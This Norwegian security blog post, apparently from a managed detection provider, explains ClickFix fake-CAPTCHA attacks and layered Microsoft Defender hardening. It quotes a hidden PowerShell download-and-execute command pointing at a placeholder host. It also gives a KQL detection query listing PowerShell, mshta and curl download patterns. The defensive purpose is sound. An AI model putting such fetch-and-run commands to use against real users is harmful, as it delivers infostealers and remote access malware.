ClickFix. Når brukeren er exploiten, og hvordan dere stopper det

ClickFix-angrepskjeden

ClickFix er et angrep der brukere blir sin egen angriper. Ingen exploit, ingen sårbarhet. Offeret kjører skadekoden selv, med én eneste kopier-lim-inn.

Agnet er social engineering: en forfalsket CAPTCHA på en ondsinnet side, en falsk supportmelding («nettleseren din trenger en oppdatering»), en phishing-e-post eller en forfalsket møteside. Mens offeret er på siden, skriver JavaScript payloaden inn i utklippstavlen via clipboard.writeText(). Så ber siden brukeren trykke Win+R, Ctrl+V og Enter. Kjør-dialogen starter det som ligger i utklippstavlen.

Et typisk agn ser slik ut:

Kommandoen den legger i utklippstavlen, ser slik ut:

powershell.exe -w h iex(irm 'https://malicious[.]tld/payload' -UseBasicParsing)

To ting skjer samtidig. PowerShell starter i et skjult vindu (-w h), og iex(irm …) laster ned payloaden og kjører den direkte i minnet. Ingenting havner på disken, signaturbasert antivirus har altså ingenting å skanne. Det andre trinnet er som regel en infostealer (Lumma, Vidar, RedLine, StealC), en Remote Access Trojan eller en ransomware-loader.

Det samme mønsteret i Microsoft Defender-telemetrien, en skjult PowerShell startet fra Windows Terminal som kjører iex(irm …):

Hvorfor dette fungerer så godt: alt kjører i brukerkonteksten, uten forhøyede rettigheter. Cookies, lagrede passord og session-tokens ligger innenfor rekkevidden til en standardbruker. Angriperen trenger ikke eskalere rettigheter for å få tak i det han kom for.

Hva Microsoft Defender oppdager

Microsoft har de siste månedene investert mye i ClickFix-deteksjon. Er Defender hos dere frisk og riktig konfigurert, får dere native deteksjoner for ClickFix-payloads. Siden Q2 2025 publiserer MDE atferdsbaserte alerts under titler som "Suspicious 'ClickFix' behavior detected", "Malicious PowerShell command executed via Run dialog" eller "An active 'Pacalau' malware in a command line was prevented from executing". De utløses fra MDE-cloud-engineen via analyse av prosesskjeden, parallelt med AV-deteksjonen og ofte noen sekunder tidligere.

Konfigurasjonen som gjør dette mulig, står lenger ned under herdingen av kjøringen.

Hvor den native deteksjonen kommer til kort

Cloud-baserte ML-signaturer trenger tid før de utløses. Vi ser jevnlig et gap på over ett minutt mellom PowerShell-starten og Defender-alerten. En raskere payload glipper gjennom dette vinduet.

Angripere tilpasser seg dessuten raskt. Bytt ut powershell med mshta http://... eller msiexec /i http://..., begge klassiske LOLBins, og de PowerShell-spesifikke deteksjonene griper ikke lenger.

Å lukke hullet: et RunMRU-hunt

Dette hullet lukker vi med Custom Detections. Utgangspunktet er en KQL-spørring mot registernøkkelen RunMRU, som logger hver kommando en bruker taster inn i Win+R-dialogen.

DeviceRegistryEvents
| where ActionType =~ "RegistryValueSet"
| where InitiatingProcessFileName =~ "explorer.exe"
| where RegistryKey has @"\CurrentVersion\Explorer\RunMRU"
| where RegistryValueData has " ✅ "
    or (RegistryValueData has_any ("powershell", "mshta", "curl", "msiexec", "^")
        and RegistryValueData matches regex "[\\u0400-\\u04FF\\u0370-\\u03FF\\u0590-\\u05FF\\u0600-\\u06FF\\u0E00-\\u0E7F\\u2C80-\\u2CFF\\u13A0-\\u13FF\\u0530-\\u058F\\u10A0-\\u10FF\\u0900-\\u097F]")
    or (RegistryValueData has "mshta" and RegistryValueName !~ "MRUList" and RegistryValueData !in~ ("mshta.exe\\1", "mshta\\1"))
    or (RegistryValueData has_any ("bitsadmin", "forfiles", "ProxyCommand=") and RegistryValueName !~ "MRUList")
    or ((RegistryValueData startswith "cmd" or RegistryValueData startswith "powershell")
        and (RegistryValueData has_any ("-W Hidden ", " -eC ", "curl", "E:jscript", "ssh", "Invoke-Expression", "UtcNow", "Floor", "DownloadString", "DownloadFile", "FromBase64String", "System.IO.Compression", "System.IO.MemoryStream", "iex", "Invoke-WebRequest", "iwr", "Get-ADDomainController", "InstallProduct", "-w h", "-X POST", "Invoke-RestMethod", "-NoP -W", ".InVOKe", "-useb", "irm ", "^", "[char]", "[scriptblock]", "-UserAgent", "UseBasicParsing", ".Content")
            or RegistryValueData matches regex @"[-/–][Ee^]{1,2}[NnCcOoDdEeMmAa^]*\s[A-Za-z0-9+/=]{15,}"))

Spørringen markerer hver Win+R-oppføring som ser ut som en ClickFix-kommando: PowerShell, mshta, curl eller msiexec sammen med typiske indikatorer som -w hidden, iex, irm, DownloadString eller Base64-kodede payloads. Den fanger også de subtile triksene. Den grønne hake-emojien som mange forfalskede CAPTCHA-agn setter foran kommandoen. Unicode-tegn fra kyrilliske, arabiske eller thailandske områder, som angripere bruker til å kamuflere tekst og omgå enkle strengfiltre. Dukker ett av disse mønstrene opp i en Win+R-oppføring, pågår det svært sannsynlig et ClickFix-angrep akkurat nå.

For CSOC-kundene våre drifter vi disse og flere Custom Detections for å lukke gapet mellom nye angrepsteknikker og den innebygde deteksjonen.

Beskyttelseslag 1: blokkere leveransen

Nå til preventionen. ClickFix er utbredt og vellykket, en enkelt beskyttelse holder altså ikke. Vi jobber i lag, fra leveransen til kjøringen.

Network Protection blokkerer kjente delivery-domener og C2-servere for alle nettlesere. MDE Web Content Filtering supplerer med kategorier som "Newly registered domains", "Hacking" og "Illegal Software". Network Protection er innebygd i Windows, men for tredjeparts nettlesere må dere deaktivere QUIC og ECH, fordi begge krypterer hele forbindelsen og skjuler måldomenet. Deaktiver QUIC i Chrome og Firefox via enterprise-policy (QuicAllowed = Disabled i Chrome, network.http.http3.enable = false i Firefox); for ECH setter dere EncryptedClientHelloEnabled = Disabled i Chrome.

For Edge aktiverer dere SmartScreen. For tredjeparts nettlesere slår dere på deres innebygde Safe Browsing. Det er ikke det samme som Network Protection, men hjelper med å filtrere skadelige sider. For e-postvektoren sjekker Safe Links og Safe Attachments lenker og vedlegg før brukere interagerer med dem.

Haken: alt dette virker bare mot kjent infrastruktur. Aktuelle ClickFix-kampanjer går via nyregistrert infrastruktur som identifiseres og blokkeres for sent, og noen ganger via legitime sider som en angriper har kompromittert. Så la oss se på hva som beskytter etter at agnet er levert.

Beskyttelseslag 2: blokkere trikset

Noen Edge-funksjoner hever terskelen mens brukeren er på en ondsinnet side. Styring av nettleserutvidelser hindrer at brukere installerer ondsinnede eller kompromitterte utvidelser som smugler inn ClickFix-overlays eller selv manipulerer utklippstavlen. Edge Enhanced Security Mode legger strengere beskyttelsestiltak på ukjente og sjelden besøkte sider (JIT deaktivert, Control Flow Guard, maskinvarestøttet stackbeskyttelse), noe som gjør exploitbaserte nettleserovertakelser betydelig vanskeligere. Typo Protection advarer mot typosquattede domener (micros0ft.com, paypa1.com) og blokkerer en utbredt ClickFix-leveransevektor via forfalskede merkevaredomener.

Tekniske kontroller er bare halve jobben. Brukeropplæring er fortsatt avgjørende. Den ene regelen som bærer det meste: Ber en nettside deg lime noe inn i datamaskinen din, er det et angrep. Gjør det konkret i awareness-treningen:

• Vis ekte agn: forfalskede "Verify you are human"-avkrysningsbokser, "nettleseren din trenger en oppdatering", "dokumentet kunne ikke rendres, kjør denne fiksen", ødelagte Teams- eller Zoom-lydprompter.
• Demonstrer utklippstavle-trikset: vis hvordan siden stille overskriver utklippstavlen.
• Gjør det enkelt å melde fra: raskt og uten skyldfordeling.

Beskyttelseslag 3: blokkere handlingen

Her finnes noen muligheter for å herde systemet, ingen av dem er en garanti. Begynn med å deaktivere Kjør-dialogen, det fjerner Win+R-inngangspunktet. Microsofts ClickFix-guidance anbefaler å deaktivere den "where it isn't necessary". Det lukker det spesifikke Win+R-lim-inn-angrepet, men alternative startflater blir igjen, for eksempel Explorer-adresselinjen og Windows Terminal.

Dere kan i tillegg herde Edge med DefaultClipboardSetting, det hindrer at JavaScript stille skriver til utklippstavlen.

Beskyttelseslag 4: blokkere kjøringen

Få grunnlaget på plass før de avanserte funksjonene. For ClickFix betyr det:

• Local Admin Reduction: fjern lokale administratorrettigheter fra sluttbrukere der det er mulig, for å begrense effekten av en kodekjøring.
• Endpoint Privilege Management (EPM): la brukere jobbe som standardbrukere og eleverer kun godkjente apper via policy-regler.
• UAC-herding: gå gjennom secure desktop-enforcement, prompt-atferd for admins og standardbrukere samt installer-deteksjon.
• Credential Guard: isoler NTLM-hasher, Kerberos-billetter og annet credential-materiale med virtualiseringsbasert sikkerhet, slik at credential-tyveri forblir vanskelig selv om en angriper får adminrettigheter.

Disse kontrollene reduserer eskaleringsmulighetene, beskytter credentials og håndhever Least Privilege. Grensen her: de begrenser hva som skjer etter en kompromittering. De hindrer ikke en infostealer i standardbrukerkonteksten i å lese ut cookies, session-tokens og app-credential-stores som er lesbare for brukeren.

Så Microsoft Defender. Defender AV kan oppdage payloaden i det andre trinnet, men bare med riktige innstillinger: slå på Cloud Protection og sett beskyttelsesnivået til High eller High+. AMSI, Antimalware Scan Interface, lar applikasjoner overlevere innhold til Defender for kontroll under kjøring, etter at det er dekryptert eller deobfuskert i minnet, men før det kjøres. PowerShell bruker AMSI til å identifisere skadekode, og AMSI trenger sanntidsbeskyttelse og Behavior Monitoring.

Minst fem Attack Surface Reduction-regler er relevante mot ClickFix:

Rull ut ASR først i audit-modus, så som pilot, så i block-modus. Tamper Protection er den siste linjen: den hindrer angriperen i å slå av deteksjonene deres.

Ved PowerShell selv reduserer dere risikoen fra legacy-interpretere. Identifiser og fjern, der det er gjennomførbart, Windows PowerShell 2.0 og legacy-VBScript-komponenter som mangler logg- og security-funksjonene i nyere versjoner. Neste steg er Constrained Language Mode (CLM), som begrenser de tilgjengelige språkelementene i PowerShell og blokkerer mange skriptbaserte teknikker. CLM har bare robust sikkerhetsverdi når en system application control-policy håndhever den (App Control for Business); variantene via miljøvariabel og AppLocker er svakere og lar seg omgå. Og mange systemer trenger Full Language Mode for å fungere, for eksempel software deployment-tooling, og derfor er CLM ofte bare gjennomførbart i utvalgte miljøer.

Dermed er vi ved App Control for Business (tidligere WDAC). App Control håndhever en kodeintegritetspolicy for hvilke kjørbare filer, skript og drivere som får kjøre. Den strategiske holdningen er default-deny pluss Microsofts anbefalte Block Rules, den kjente LOLBin- og bypass-blokklisten. App Control er også den korrekte håndhevingsveien for PowerShell-CLM. Script Enforcement blokkerer MSHTA- og MSXML-skripthoster, tvinger PowerShell inn i CLM og blokkerer ikke tillatt bruk av Windows Script Host. Noen atferdsfakta er viktige:

• Base policies som stoler på Windows, blokkerer ikke betrodde LOLBins automatisk. Dere må merge inn Microsofts anbefalte Block Rules for å lukke de kjente bypassene.
• App Control hindrer ikke signert powershell.exe eller cmd.exe i å starte. Den begrenser hva de får gjøre (CLM, ingen usignert eller ikke tillatt payload) og regulerer ikke innholdet i cmd.exe, .bat eller .cmd. Derfor legges den i lag med ASR og launch-herding, ikke brukes alene.
• Audit-modus er ikke nøytral: Script Enforcement blokkerer også i audit kjøringen av MSHTA og MSXML og kan endre PowerShell-CLM-atferden. Derfor må App Control i audit være pilot- eller ring-begrenset fra første utrulling, aldri på tvers av hele flåten.

App Control er den enkeltkontrollen med høyest confidence mot interpreter-, LOLBin- og payload-kjøringsfasene, og den håndhever robust CLM. Samtidig bærer den den høyeste deployment-kompleksiteten og den høyeste rollback-risikoen, for en feilkonfigurasjon blokkerer kjøringen. Innfør den via kontrollerte pilotringer.

Hvor vi kommer inn i bildet

ClickFix er raskt, og Microsofts native deteksjoner dekker det meste, men ikke alt. For CSOC-kundene våre utvider vi dekningen løpende der det dukker opp hull: kjøring via Windows Terminal, RAT-drevne support-svindler og post-compromise-atferd. Vil dere vite hvor miljøet deres står, ta kontakt.